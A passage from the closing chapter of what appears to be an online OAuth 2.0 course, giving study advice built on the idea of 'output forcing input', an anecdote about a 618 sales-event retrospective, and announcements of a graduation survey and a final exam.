当确定了基础学习阶段的学习范围之后,我们就要将这些角色带入到每个许可类型中,让这些角色“转起来”,这时你就可以像我一样用小明使用小兔打单软件的例子串起整个OAuth 2.0的工作流程。

在分析学习的过程中,我们就需要将OAuth 2.0 的知识体系结构进行一个梳理,同时把学习时遇到的问题都列出来,然后逐一分析。这些问题可能是:为什么授权码许可流程一定要有授权码,为什么授权码许可一定要有两次重定向,如何管理JWT格式的令牌的生命周期,当访问令牌失效了一定要让用户重新授权吗,刷新令牌会一直有效吗,ID令牌和访问令牌之间有联系吗,等等。

在主题学习的过程中,我们可以把要重点理解的内容当成一个主题,去“横向”地学习。怎么才能叫做横向呢?比如,要知道PKCE到底解决了什么问题,那么你就可以把PKCE当成一个主题来学习,你要去查阅跟它相关的任何资料,可以找OAuth 2.0 的官方文档,可以看咱们的专栏,也可以看其它与之相关的书籍等等。总之,这是你的一个“研究方向”。

在掌握了基础学习、分析学习和主题学习这三个层次的学习方法之后,我还有一招儿,就是配合 “输出倒逼输入” 来加强学习效果。

有一天我在图书馆看书时,回想起自己这些年在公司内外做分享和写书的经历,猛然间脑子里面蹦出了“输出倒逼输入”这个词儿,一下子想通了输出对于技术学习的重要性。再后来,我刷朋友圈里别人分享的文章时,也看到了这个词。再到后来,我在读《如何阅读一本书》时,看到了其中有这样一句话“阅读与写作的互惠”,又再次印证了这一点。

那我再分享自己的一个小故事吧。有一年618刚结束,京东大学的同事就来找我,问我愿不愿意做一次618大促备战的复盘分享,而且要在一周内准备好要分享的内容。虽然时间很紧张,我也不知道自己要分享什么内容,甚至连思路都还不清晰,但我还是毫不犹豫地答应了下来。输出倒逼输入嘛。

在接下来的准备时间里,我从要备战内容的点点滴滴,到系统黄金流程的识别过程,再到人员的培训,分别进行了梳理,逐渐形成了自己的一套备战方法论,完成了那次的大促复盘分享,也获得了同事们的很多正反馈。

你看,要不是因为有“输出”的逼迫感,我可能就不会去做这个复盘,也不会沉淀自己的方法论。正所谓备战在平时,后来我和团队就把这套备战方法论落到了日常工作中,时刻保证着系统的稳定运行。

这就让我无比坚信,“输出倒逼输入”是一个绝好的学习方式。

那具体到我们的课程中,该怎么运用这个方法呢?

最简单的,自然就是留言了。永远不要觉得看完文章就是学会了,要知道,任何一种思想都不可避免地带有局限性,想要拥有更高维度的见解,前提是你见识过足够多、足够好的东西。

因此,你要多输出自己的想法,抛出引子,比如你对某些内容的深入思考、你在工作中积累的独特经验,甚至是你对我的一些观点的质疑,等等。我和其他同学看到了你的留言,也会和你讨论,我们的思想交叠碰撞,你的知识厚度必定会有所增加。

除了零碎的留言,你还可以进行系统的梳理,制作一些思维导图、PPT,或者是写成文章,在公司内部做一场分享。最后,你得到的是一套知识体系,同时也可以增加你在公司里的“出镜率”,这是不是一举多得呢?

当然,这种方式绝不仅限于咱们课程的学习,希望你总能积极地向外传达你的想法。带着惊喜的输出亮相,理所当然地会得到未知的惊喜。

到这里,我们相伴而行的时光也就接近尾声了,接下来,我们要回归各自的赛道了。在此之前,我很想很想跟你说一句“敬佩”。

你不知道的是,在你坚持学习的时候,有很多人都掉了队,站在终点回头去看,不知不觉中你就成为了极少数人。放大到整个人生去看,只要持续走极少数人走的路,你就能成为极少数人。

“将每一个忙碌、充实的日子,累积成酣畅淋漓的生命”,希望我们都能活到淋漓,与你共勉。

我在这里为你准备了一份 毕业问卷,题目不多,希望你能花两分钟填一下。我非常期待能听你和我说一说,你对这个课程的想法和建议。今天虽然是结课,但我还会继续关注你的留言,也希望你能继续学习这个课程的内容,并会通过留言区和你互动。最后,再次和你一声“感谢”。

期末测试 | 一套习题,测试你的掌握程度

你好,我是王新栋。

咱们课程的核心内容都已经更新完了,在临近告别前,我还给你准备了一份期末测试题,这套试卷共有14道单选题和6道多选题,满分100,核心考点都出自前面讲到的所有重要知识,希望可以帮助你进行一场自测。

另外,我也很想知道你对这门课的建议,所以我还在结束语里给你准备了一份 问卷(现在你也可以填写)。欢迎你在问卷里聊一聊你的想法,也许就有机会获得礼物或者是课程阅码哦。

好了,话不多说,请你来做一做这套期末测试题吧,我们结束语见!